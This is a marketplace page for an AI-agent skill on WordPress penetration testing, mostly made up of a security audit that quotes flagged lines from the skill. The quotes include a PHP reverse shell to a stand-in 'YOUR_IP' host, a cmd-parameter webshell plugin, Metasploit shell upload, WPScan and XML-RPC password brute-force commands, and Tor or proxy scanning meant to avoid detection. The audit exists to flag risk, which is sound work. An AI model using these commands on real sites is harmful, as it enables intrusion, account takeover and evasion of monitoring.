스킬 wordpress-penetration-testing
📦
wordpress-penetration-testing
v1.1 콘텐츠 리비전 r1 치명적 ⚡ 스크립트 포함⚙️ 외부 명령어🌐 네트워크 접근
Evaluar la seguridad de WordPress
Las evaluaciones de WordPress requieren comprobaciones repetibles de versiones, plugins, temas, usuarios y exposición. Esta skill organiza pasos de pruebas autorizadas y resultados de informes para usuarios de Claude, Codex y Claude Code.
지원: Claude Codex Code(CC)
이 Skill을 자동으로 설치하지 마세요.
공식 정책에 따라 설치 작업 전에 운영자 검토가 필요합니다.
내 에이전트로 설치
이 요청을 에이전트에 복사하세요. 공식 Skill 페이지와 매니페스트가 포함되어 있습니다.
에이전트 요청
Review the Skillstore skill "wordpress-penetration-testing" from https://skillstore.io/skills/sickn33-wordpress-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-wordpress-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.에이전트는 계속해서 계획을 표시하고 보안 정책에서 요구하는 확인을 요청해야 합니다.
에이전트가 읽기 쉬운 리소스
AI 에이전트, 크롤러, 스크립트가 전체 페이지 대신 정리된 컨텍스트만 필요할 때 이 링크를 사용하세요.
테스트해 보기
"wordpress-penetration-testing" 사용 중입니다. Planifica una evaluación de WordPress para un sitio de pequeña empresa con autorización por escrito.
예상 결과:
Una lista de verificación por fases que cubre confirmación de alcance, descubrimiento pasivo, enumeración con WPScan, revisión de plugins y temas, validación controlada, captura de evidencia e informes de remediación.
"wordpress-penetration-testing" 사용 중입니다. Resume estos hallazgos: plugin antiguo, endpoint de usuarios expuesto, archivo readme legible.
예상 결과:
Un resumen de riesgos conciso que explica la exposición de datos de versión y usuarios, componentes afectados, impacto probable y correcciones recomendadas.
"wordpress-penetration-testing" 사용 중입니다. Crea un esquema de informe para una revisión de seguridad de WordPress completada.
예상 결과:
Una estructura de informe profesional con resumen ejecutivo, metodología, hallazgos, evidencia, severidad, remediación, pasos de repetición de pruebas y notas de alcance.
보안 감사
치명적v6 • 2026. 7. 9. 버전별 보고서 열기
The audit confirms extensive offensive WordPress testing guidance. It includes active scanning, credential attacks, Metasploit exploitation, reverse shells, webshell creation, and proxy guidance. Many Markdown syntax findings are false positives, but the confirmed findings show high-risk dual-use and abuse-enabling content.
1
스캔된 파일
486
분석된 줄 수
100
검토 항목
0
오탐 무시됨
확인된 보안 우려 사항 (12)
치명적
Metasploit framework
- Metasploit Framework
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
치명적
Metasploit framework
#### Metasploit Shell Upload
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
치명적
Metasploit framework
# Start Metasploit
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
치명적
Malware type keywords
// Or use weevely backdoor
The line recommends a weevely backdoor immediately after reverse shell code. This is malware-style persistence and remote access guidance.
치명적
Malicious WordPress Plugin Webshell
The skill instructs creation of a malicious plugin that executes a cmd parameter with PHP system, then shows accessing it with a command query.
The plugin code directly maps a web request parameter to system command execution, which is a classic webshell pattern.
치명적
Reverse Shell and Backdoor Deployment Guidance
The skill tells users to edit WordPress theme files, add PHP reverse shell code, and optionally use a weevely backdoor for access.
The instructions explicitly describe shell access through a theme editor and include a reverse shell command and backdoor mention.
높음
System reconnaissance
- Avoid aggressive modes on monitored sites
The line advises changing behavior around monitored sites, which supports stealth during reconnaissance. The surrounding section includes user-agent and proxy rotation guidance.
높음
Network scanning tools
- Nmap for initial discovery
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
확인된 12건 모두 보기
높음
Network scanning tools
# Nmap WordPress detection
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
높음
Network scanning tools
nmap -p 80,443 --script http-wordpress-enum target.com
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
높음
Credential Brute Force Workflow
The skill gives WordPress password attack procedures using WPScan, wordlists, multiple users, thread counts, XML-RPC attack modes, and targeted wordlist generation.
The section is explicitly titled Password Attacks and contains concrete commands for brute forcing WordPress credentials.
높음
Detection Evasion and Proxy Rotation Guidance
The skill includes Tor proxy scanning, local proxy routing, random user agents, throttling, proxy rotation, and advice about monitored sites.
The proxy and evasion sections provide concrete steps to route or alter scanner traffic during WordPress testing.
기능 검토 항목 (100)
이 스킬에 대해 예상될 수 있는 실제 로컬 기능이므로 검토가 필요하지만, 확인된 악의적 동작으로는 집계되지 않습니다.
치명적
Python exec() function
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The PHP example executes a bash reverse shell from a WordPress theme file. This is direct remote command execution guidance and enables unauthorized shell access.
치명적
Process exec
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line invokes a bash reverse shell through PHP exec in a WordPress theme file. It is operational exploitation guidance, not benign command usage.
치명적
Ruby/shell backtick execution
```bash
The code block contains Metasploit module usage to upload shells or run WordPress exploit modules. This is actionable exploitation tooling.
치명적
Ruby/shell backtick execution
```bash
The code block contains Metasploit module usage to upload shells or run WordPress exploit modules. This is actionable exploitation tooling.
치명적
Ruby/shell backtick execution
```php
The PHP code block instructs adding a reverse shell to a WordPress theme file. This is direct remote shell deployment guidance.
치명적
Ruby/shell backtick execution
```bash
The block creates and packages a malicious WordPress plugin that calls system on a cmd parameter. This is webshell creation and remote command execution guidance.
치명적
Unix shell invocation
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line invokes a bash reverse shell through PHP exec in a WordPress theme file. It is operational exploitation guidance, not benign command usage.
치명적
Hardcoded URL
// Access via: http://target.com/wp-content/themes/theme_name/404.php
The URL is used to access a planted reverse shell or malicious plugin webshell. This is exploitation and remote command execution workflow evidence.
치명적
Hardcoded URL
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
The URL is used to access a planted reverse shell or malicious plugin webshell. This is exploitation and remote command execution workflow evidence.
높음
Ruby/shell backtick execution
```bash
The code block contains WPScan credential brute-force commands with wordlists and XML-RPC attack modes. These commands are high-risk when used outside an authorized test.
높음
Ruby/shell backtick execution
- `wp-login` - Standard login form
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
높음
Ruby/shell backtick execution
- `xmlrpc` - XML-RPC multicall (faster)
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
높음
Ruby/shell backtick execution
- `xmlrpc-multicall` - Multiple passwords per request
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
높음
Ruby/shell backtick execution
```bash
The code block builds an XML-RPC multicall request with username and password guesses. This is credential attack automation against WordPress.
높음
Ruby/shell backtick execution
```bash
The code block shows scanning through Tor and local proxies. In this skill context, proxy usage supports evasive or anonymized scanning.
높음
Ruby/shell backtick execution
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
높음
Ruby/shell backtick execution
- Use random user agents: `--random-user-agent`
The inline option appears in a detection evasion section and supports changing scanner behavior during monitored testing. This is risky in a marketplace skill.
높음
Ruby/shell backtick execution
- Throttle requests: `--throttle 1000`
The inline option appears in a detection evasion section and supports changing scanner behavior during monitored testing. This is risky in a marketplace skill.
높음
Hardcoded URL
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
높음
Hardcoded URL
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
높음
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
높음
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
높음
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
높음
Hardcoded URL
cewl http://target.com -w wordlist.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
높음
Hardcoded URL
wpscan --url http://target.com -U admin -P wordlist.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
높음
Hardcoded URL
curl -X POST http://target.com/xmlrpc.php
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
높음
Hardcoded URL
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></metho
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
높음
Hardcoded URL
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
높음
Hardcoded URL
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
높음
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
높음
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
높음
Hardcoded URL
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
높음
Hardcoded IP address
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
높음
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
높음
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
높음
SOCKS proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
중간
Ruby/shell backtick execution
```bash
The code block contains cURL discovery and Nmap WordPress detection commands. These external commands perform active reconnaissance against a target.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
중간
Ruby/shell backtick execution
```
The finding appears in an offensive WordPress testing skill and could support target interaction. Kept fail-closed because the surrounding context is dual-use security tooling.
중간
Ruby/shell backtick execution
```
The finding appears in an offensive WordPress testing skill and could support target interaction. Kept fail-closed because the surrounding context is dual-use security tooling.
중간
Ruby/shell backtick execution
```bash
The block contains WPScan examples for HTTP authentication and disabled TLS checks. It is active network tooling, though it can be legitimate in authorized testing.
중간
Ruby/shell backtick execution
| Basic scan | `wpscan --url http://target.com` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
중간
Ruby/shell backtick execution
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
중간
Ruby/shell backtick execution
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
중간
Hardcoded URL
wpscan --url http://target.com --http-auth admin:password
The URL appears in authenticated WPScan examples and TLS-check disabling. It is network testing guidance for a target, but it can also be legitimate in authorized audits.
중간
Hardcoded URL
wpscan --url https://target.com --disable-tls-checks
The URL appears in authenticated WPScan examples and TLS-check disabling. It is network testing guidance for a target, but it can also be legitimate in authorized audits.
중간
Hardcoded URL
| Basic scan | `wpscan --url http://target.com` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
중간
Hardcoded URL
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
중간
Hardcoded URL
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
낮음
Hardcoded URL
curl -s http://target.com | grep -i wordpress
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com | grep -i "wp-content"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com | grep -i "wp-includes"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -I http://target.com/wp-login.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -I http://target.com/wp-admin/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -I http://target.com/wp-content/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -I http://target.com/xmlrpc.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com | grep "generator"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com/wordpress/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com --api-token YOUR_API_TOKEN
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com --detection-mode aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -o results.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -f json -o results.json
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -v
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/readme.html | grep -i version
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/feed/ | grep -i generator
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com | grep "?ver="
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com | grep 'name="generator"'
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/feed/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/comments/feed/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e at
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e vt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e at --plugins-detection aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com | grep "wp-content/themes/"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/wp-content/themes/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e ap
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e vp
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection mixed
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com | grep "wp-content/plugins/"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/wp-content/plugins/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e u
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e u1-100
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e at -e ap -e u
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e vp,vt,u,cb,dbe
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
낮음
Hardcoded URL
wpscan --url http://target.com -e at,ap,u,cb,dbe \
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
위험 요인
⚡ 스크립트 포함 (1)
⚙️ 외부 명령어 (50)
SKILL.md:313 SKILL.md:43-60 SKILL.md:60-63 SKILL.md:63-64 SKILL.md:64-65 SKILL.md:65-66 SKILL.md:66-67 SKILL.md:67-68 SKILL.md:68-69 SKILL.md:69-75 SKILL.md:75-93 SKILL.md:93-99 SKILL.md:99-114 SKILL.md:114-126 SKILL.md:126-139 SKILL.md:139-142 SKILL.md:142-149 SKILL.md:149-155 SKILL.md:155-171 SKILL.md:171-174 SKILL.md:174-183 SKILL.md:183-189 SKILL.md:189-209 SKILL.md:209-215 SKILL.md:215-235 SKILL.md:235-241 SKILL.md:241-260 SKILL.md:260-263 SKILL.md:263-264 SKILL.md:264-265 SKILL.md:265-273 SKILL.md:273-285 SKILL.md:285-289 SKILL.md:289-301 SKILL.md:301-307 SKILL.md:307-318 SKILL.md:318-322 SKILL.md:322-342 SKILL.md:342-348 SKILL.md:348-382 SKILL.md:382-386 SKILL.md:386-395 SKILL.md:395-399 SKILL.md:399-405 SKILL.md:405-413 SKILL.md:413-414 SKILL.md:414-415 SKILL.md:415-416 SKILL.md:416-417 SKILL.md:417-418
🌐 네트워크 접근 (50)
SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:50 SKILL.md:51 SKILL.md:52 SKILL.md:53 SKILL.md:56 SKILL.md:77 SKILL.md:80 SKILL.md:83 SKILL.md:86 SKILL.md:89 SKILL.md:92 SKILL.md:101 SKILL.md:104 SKILL.md:105 SKILL.md:106 SKILL.md:109 SKILL.md:112 SKILL.md:113 SKILL.md:128 SKILL.md:131 SKILL.md:134 SKILL.md:137 SKILL.md:138 SKILL.md:147 SKILL.md:148 SKILL.md:157 SKILL.md:160 SKILL.md:163 SKILL.md:166 SKILL.md:169 SKILL.md:170 SKILL.md:182 SKILL.md:191 SKILL.md:194 SKILL.md:198 SKILL.md:202 SKILL.md:205 SKILL.md:208 SKILL.md:217 SKILL.md:220 SKILL.md:232 SKILL.md:243 SKILL.md:246 SKILL.md:249 SKILL.md:252 SKILL.md:255 SKILL.md:258
감지된 패턴
Metasploit framework×3Malware type keywordsSystem reconnaissanceNetwork scanning tools×3
감사자: codex 감사 이력 보기 →
이 보고서 공유 및 인용
버전이 지정된 평가 보고서, 중립 배지, 임베드 카드 및 인용을 공유하세요. Skillstore는 근거를 보고하지만 이 Skill의 안전 여부를 판단하지 않습니다.
보고서 링크 복사
https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 배지
[](https://skillstore.io/skills/sickn33-wordpress-penetration-testing?utm_source=security_passport_badge)HTML 배지
<a href="https://skillstore.io/skills/sickn33-wordpress-penetration-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-wordpress-penetration-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>임베드 카드
<iframe src="https://skillstore.io/embed/skills/sickn33-wordpress-penetration-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>학술 인용 (APA · BibTeX · CFF)
APA 인용
sickn33. (2026). wordpress-penetration-testing security audit report (audit version 6) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6BibTeX 인용
@techreport{sickn33-sickn33-wordpress-penetration-testing-2026,
author = {sickn33},
title = {wordpress-penetration-testing security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "wordpress-penetration-testing security audit report (audit version 6)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-wordpress-penetration-testing:audit:6"
description: "Skillstore immutable audit report identifier"
Skillstore 점수
이 점수의 이유 증거 신뢰도: 중간 55
아키텍처
85
유지보수성
87
콘텐츠
69
커뮤니티
83
사양 준수
만들 수 있는 것
Preparar una evaluación para cliente
Construye un plan de pruebas de WordPress con alcance definido que cubra descubrimiento, enumeración, revisión de vulnerabilidades y evidencia para informes.
Revisar la exposición del sitio
Comprueba versiones visibles de WordPress, plugins, temas, usuarios y endpoints públicos antes de un sprint de remediación.
Validar un laboratorio de formación en seguridad
Crea un flujo de trabajo de laboratorio controlado que demuestre la enumeración de WordPress y la validación de defensas.
이 프롬프트를 사용해 보세요
Planificar una evaluación segura
Crea una lista de verificación para una evaluación de seguridad de WordPress en un objetivo autorizado. Incluye alcance, pasos de enumeración seguros, evidencia que recopilar y secciones del informe.
Analizar resultados de enumeración
Revisa estas notas de enumeración de WordPress e identifica riesgos probables, evidencia faltante y prioridades de remediación. No añadas pasos de explotación.
Priorizar vulnerabilidades
Convierte esta lista de hallazgos de WordPress en un plan de remediación priorizado con componentes afectados, impacto empresarial, evidencia y pasos de verificación.
Diseñar un plan de pruebas autorizado
Diseña un plan de pruebas de penetración de WordPress con alcance definido para un trabajo firmado. Incluye reglas de la intervención, límites de frecuencia, selección de herramientas, controles de seguridad y entregables.
모범 사례
- Confirma la autorización por escrito, el alcance, los límites de frecuencia y las ventanas de pruebas antes de usar cualquier resultado de herramientas.
- Prefiere comprobaciones pasivas y enumeración de bajo impacto antes de escaneos agresivos o pruebas de credenciales.
- Registra evidencia, marcas de tiempo, URLs objetivo, versiones de herramientas y orientación de remediación para cada hallazgo.
피하기
- No pruebes sitios públicos de WordPress sin permiso explícito por escrito.
- No ejecutes ataques de credenciales, módulos de explotación ni pasos de carga de shell en sistemas de producción sin aprobación.
- No trates el resultado de escáneres automatizados como confirmado sin validación manual y contexto empresarial.
자주 묻는 질문
¿Esta skill es solo para pruebas autorizadas?
Sí. Solo debe usarse cuando el evaluador tenga permiso por escrito y un alcance definido.
¿Requiere WPScan?
Muchos flujos de trabajo usan WPScan. Algunas comprobaciones manuales usan cURL, revisión en navegador o herramientas de proxy.
¿Puede verificar vulnerabilidades de plugins?
Puede guiar la recopilación de evidencia y el triaje. La validación manual sigue siendo necesaria antes de informar el impacto.
¿Puede ayudar a redactar un informe para cliente?
Sí. Puede estructurar hallazgos, evidencia, severidad, impacto, remediación y pasos de repetición de pruebas.
¿Qué riesgos tiene esta skill?
Incluye conceptos de pruebas ofensivas. El uso indebido puede causar acceso no autorizado, interrupción del servicio o perjuicio legal.
¿Debe usarse en sitios de producción?
Solo dentro de una intervención aprobada con horarios seguros, límites de frecuencia, copias de seguridad y conocimiento de las partes interesadas.
개발자 세부 정보
작성자
sickn33라이선스
MIT
작성자 버전
v1.1
Skillstore 리비전
r1
버전 안내
작성자가 선언한 버전은 유효한 SemVer가 아닙니다.
리포지토리
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/wordpress-penetration-testing참조
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
유지보수 최신성
2026. 7. 24.
사용량
8 다운로드 · 158 조회
파일 구조
📄 SKILL.md